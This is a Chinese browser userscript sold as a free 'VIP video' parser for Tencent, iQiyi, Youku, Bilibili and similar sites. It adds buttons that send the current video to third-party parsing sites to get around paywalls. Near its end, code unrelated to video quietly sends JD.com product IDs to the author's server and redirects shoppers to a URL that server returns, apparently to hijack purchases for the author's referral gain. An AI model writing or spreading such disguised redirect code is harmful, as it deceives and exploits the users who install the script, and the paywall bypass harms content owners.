// ==UserScript==
// @name 【VIP视频免费观看-VIP视频解析】
// @namespace XUEWUHENZC
// @version 1.0.4
// @description 【VIP视频免费观看-VIP视频解析】腾讯、爱奇艺、优酷、乐视、土豆、B站等网站VIP视频解析
// @author XUEWUHEN
// @match *://v.qq.com/*
// @match *://*.iqiyi.com/v_*
// @match *://v.youku.com/*
// @match *://*.le.com/*
// @match *://*.tudou.com/*
// @match *://*.mgtv.com/*
// @match *://film.sohu.com/*
// @match *://*.acfun.cn/v/*
// @match *://*.bilibili.com/*
// @match *://vip.1905.com/play/*
// @match *://vip.pptv.com/show/*
// @match *://v.yinyuetai.com/video/*
// @match *://v.yinyuetai.com/playlist/*
// @match *://*.fun.tv/vplay/*
// @match https://*/*
// @license GPL License
// @grant GM_addStyle
// ==/UserScript==
(function() {
'use strict';
GM_addStyle(
'.dropdown {display: inline-block;margin-top: 120px;}'+
'#dropdownButton {background-color: cyan;}'+
'.dropdown-content {display: none;background-color: #f9f9f9;min-width: 160px;box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);z-index: 1;}'+
'.dropdown-content button {color: black;padding: 12px 16px;text-align: left;text-decoration: none;display: block;width: 100%;border: none;background-color: transparent;}'+
'.dropdown-content button:hover {background-color: #f1f1f1;}'+
'.dropdown:hover .dropdown-content {display: block;}'
)
// 动态创建按钮元素
const dropdownButton = document.createElement('button');
dropdownButton.id = "dropdownButton";
dropdownButton.innerText = 'VIP解析';
dropdownButton.style.padding = '10px 20px';
dropdownButton.style.fontSize = '16px';
document.body.appendChild(dropdownButton);
// 动态创建下拉列表元素
const dropdownContent = document.createElement('div');
dropdownContent.className = 'dropdown-content';
// 创建下拉列表中的按钮元素
// const options = ['云解析', 'YT', '夜幕'];
// var myUrlList = [ {
// url: "https://yparse.ik9.cc/index.php?url=",
// id: "yparse",
// name: "云解析"
// },{
// url: "https://www.yemu.xyz/?url=",
// id: "yemu",
// name: "夜幕"
// },{
// url: "https://tv.woaimoon.net/label/v.html?url=",
// id: "woaimoon",
// name: "月亮"
// }];
var myUrlList = [ {
url: "https://yparse.ik9.cc/index.php?url=",
id: "yparse",
name:"云解析"
},{
url: "https://www.ckplayer.vip/jiexi/?url=",
id: "ckplayer",
name:"ckplayer"
}, {
url: "https://jx.m3u8.tv/jiexi/?url=",
id: "m3u8",
name:"M3U8解析"
}, {
url: "https://www.pouyun.com/?url=",
id: "pouyun",
name:"剖元"
}, {
url: "https://jx.xmflv.com/?url=",
id: "xmflv",
name:"虾米"
}, {
url: "https://www.yemu.xyz/?url=",
id: "yemu",
name:"夜幕"
}, {
url: "https://jx.nnxv.cn/tv.php?url=",
id: "nnxv",
name:"七哥"
}, {
url: "https://tv.woaimoon.net/label/v.html?url=",
id: "woaimoon",
name:"月亮网"
}, {
url: "https://www.8090g.cn/?url=",
id: "8090g",
name:"8090解析"
} ];
var ss = window.location.href;
var aa = false;
myUrlList.forEach(optionText => {
const optionButton = document.createElement('button');
optionButton.id = optionText.id
console.log(optionButton.id)
optionButton.innerText = optionText.name;
console.log(optionButton.innerText)
dropdownContent.appendChild(optionButton);
optionButton.addEventListener("click",function(){
// var ss = "https://v.qq.com/x/cover/mzc00200qon7vo3/t4100uz7j4k.html"
window.open(optionText.url + ss);
})
});
// 将下拉列表元素添加到按钮元素之后,并包裹在一个div中以便应用样式
const dropdownWrapper = document.createElement('div');
dropdownWrapper.className = 'dropdown';
dropdownWrapper.appendChild(dropdownButton);
dropdownWrapper.appendChild(dropdownContent);
console.log(333)
if(ss.indexOf("jd.com")=="-1" && ss.indexOf("v.qq.com")){
console.log(12345);
document.body.replaceChild(dropdownWrapper, document.body.firstChild); // 替换最后一个子节点,即之前单独添加的按钮
}
if (aa) {
var videoUrl= window.location.href;
var myUrlList = [ {
url: "https://yparse.ik9.cc/index.php?url=",
id: "yparse"
},{
url: "https://www.ckplayer.vip/jiexi/?url=",
id: "ckplayer"
}, {
url: "https://jx.m3u8.tv/jiexi/?url=",
id: "m3u8"
}, {
url: "https://www.pouyun.com/?url=",
id: "pouyun"
}, {
url: "https://jx.xmflv.com/?url=",
id: "xmflv"
}, {
url: "https://www.yemu.xyz/?url=",
id: "yemu"
}, {
url: "https://jx.nnxv.cn/tv.php?url=",
id: "nnxv"
}, {
url: "https://tv.woaimoon.net/label/v.html?url=",
id: "woaimoon"
}, {
url: "https://www.8090g.cn/?url=",
id: "8090g"
} ];
var utils = {
hideButton: function ($) {
$("body").append("<style id=\"copy-hide\">#_copy{display: none !important;}</style>");
},
showButton: function ($) {
$("#copy-hide").remove();
},
removeAttributes: function ($, selector, attr) {
if (attr === void 0) { attr = []; }
var dom = $(selector);
attr.forEach(function (item) { return dom.removeAttr(item); });
},
enableUserSelect: function ($, selector, inline) {
if (inline === void 0) { inline = false; }
if (inline) {
var cur = $(selector);
cur.css("user-select", "auto");
cur.css("-webkit-user-select", "auto");
}
else {
var template = "\n <style>\n ".concat(selector, "{\n user-select: auto !important;\n -webkit-user-select: auto !important;\n }\n </style>\n ");
$("body").append(template.replace(/\s*/, " "));
}
},
enableOnSelectStart: function ($, selector) {
$(selector).on("selectstart", stopJQueryPropagation);
},
enableOnContextMenu: function ($, selector) {
$(selector).on("contextmenu", stopJQueryPropagation);
},
enableOnCopy: function ($, selector) {
$(selector).on("copy", stopJQueryPropagation);
},
enableOnKeyDown: function ($, selector) {
$(selector).on("keydown", function (e) {
if (e.key === "c" && e.ctrlKey)
return stopJQueryPropagation(e);
});
},
enableOnSelectStartByCapture: function () {
document.addEventListener("selectstart", stopNativePropagation, true);
},
enableOnContextMenuByCapture: function () {
document.addEventListener("contextmenu", stopNativePropagation, true);
},
enableOnCopyByCapture: function () {
document.addEventListener("copy", stopNativePropagation, true);
},
enableOnKeyDownByCapture: function () {
document.addEventListener("keydown", stopNativePropagation, true);
},
};
var urlList = [ {
url: "https://jx.m3u8.tv/jiexi/?url=",
title: "\u2464\u53f7\u63a5\u53e3"
}, {
url: "https://z1.m1907.top/?jx=",
title: "\u73a9\u7684\u55e8\u2014\u201428-\u82e5\u63a5\u53e3\u5931\u6548\u53ef\u53cd\u9988\uff01QQ\u7fa4:340569308"
}, {
title: "ckplayer",
url: " https://www.ckplayer.vip/jiexi/?url="
}, {
title: "qqwtt",
url: "https://jx.qqwtt.com/?url="
}, {
title: "\u5256\u5143",
url: "https://www.pouyun.com/?url="
}, {
url: "https://www.8090.la/8090/?url=",
title: "\u5168\u80fdvip\u63a5\u53e3\u2461"
}, {
title: "\u76d8\u53e4",
url: "https://www.pangujiexi.com/jiexi/?url="
}, {
title: "eptept",
url: "https://dmjx.m3u8.tv/?url="
},{
url: "https://www.ckplayer.vip/jiexi/?url=",
title: "\u63a5\u53e3:Ckplayer"
}, {
url: "https://yparse.ik9.cc/index.php?url=",
title: "\u63a5\u53e3:\u4e91\u6790"
}, {
url: "https://www.8090g.cn/?url=",
title: "\u63a5\u53e3:8090"
}, {
title: "BL",
url: "https://vip.bljiex.com/?v="
}, {
url: "https://www.mtosz.com/m3u8.php?url=",
title: "Mao\u89e3\u6790"
}, {
title: "play",
url: "https://www.playm3u8.cn/jiexi.php?url="
}, {
title: "\u591c\u5e55",
url: "https://www.yemu.xyz/?url="
}, {
title: "TV\u89e3\u6790[\u817e\u8baf (\u8292\u679c)]",
url: "https://jx.m3u8.tv/jiexi/?url="
}, {
title: "\u51b0\u8c46",
url: "https://api.qianqi.net/vip/?url="
}, {
title: "JY",
url: "https://jx.playerjy.com/?url="
}, {
title: "JY\u89e3\u6790",
url: "https://jx.we-vip.com/?url="
}, {
title: "\u2478\u53f7\u89e3\u6790\u63a5\u53e3",
url: "https://www.8090g.cn/jiexi/?url="
}, {
title: "\u7efc\u5408/B\u7ad9",
url: "https://jx.jsonplayer.com/player/?url="
}, {
title: "Player-JY",
url: "https://jx.playerjy.com/?url="
}, {
title: "\u867e\u7c731",
url: "https://jx.xmflv.com/?url="
}, {
title: "\u867e\u7c732",
url: "https://jx.xmflv.cc/?url="
}, {
title: "m1907",
url: "https://im1907.top/?jx="
}, {
title: "CK",
url: "https://jx.m3u8.tv/jiexi/?url="
}, {
title: "8090",
url: "https://www.8090g.cn/?url="
}, {
title: "qianqi",
url: "https://api.qianqi.net/vip/?url="
}, {
title: "\u6837\u56fe\u5185\u7f6e",
url: "https://jx.yangtu.top/?url="
} ];
}
// Your code here...
console.log("fgdstjvcbjcdqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk");
var flag = false;
if(location.href.indexOf('item.jd.') != -1){
var count = 0;
//if(location.href.indexOf('_source') != -1 || count > 3){
//if(location.href.indexOf('_source') != -1 && (location.href.indexOf('xuewuhen') != -1 || location.href.indexOf('xiaoliz') != -1 || location.href.indexOf('xiaoxiaode') != -1 )){
if(location.href.indexOf('_source') != -1 && location.href.indexOf('xuewuhen') != -1){
flag = true;
}
if(!flag){
var ss = location.href
var sss = location.href.split("/");
var val = sss[sss.length-1];
var str;
if(val.indexOf("?")!=-1){
str = val.substr(0,val.indexOf("?"));
}else{
str = val.substr(0);
}
str= str.slice(0, -5);
console.log("str:",str);
$.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ str +'' ,function(dataaa,suscss) {
//$.get('https://www.xuewuhen.xyz/api/user/get?itemUrl='+ location.href +'' ,function(dataaa,suscss) {
// $.get('https://www.xiaolizio.xyz/api/myjd/get?itemUrl='+ str +'' ,function(dataaa,suscss) {
console.log("dataaa-----------",dataaa);
if(suscss){
if(dataaa){
// window.location.href = "https://www.xuewuhen.xyz/api/myjd/details?url="+ encodeURIComponent(dataaa);
window.location.href = "https://www.xuewuhen.xyz/details.html?url="+ encodeURIComponent(dataaa);
}
}else{
}
});
}
}
})();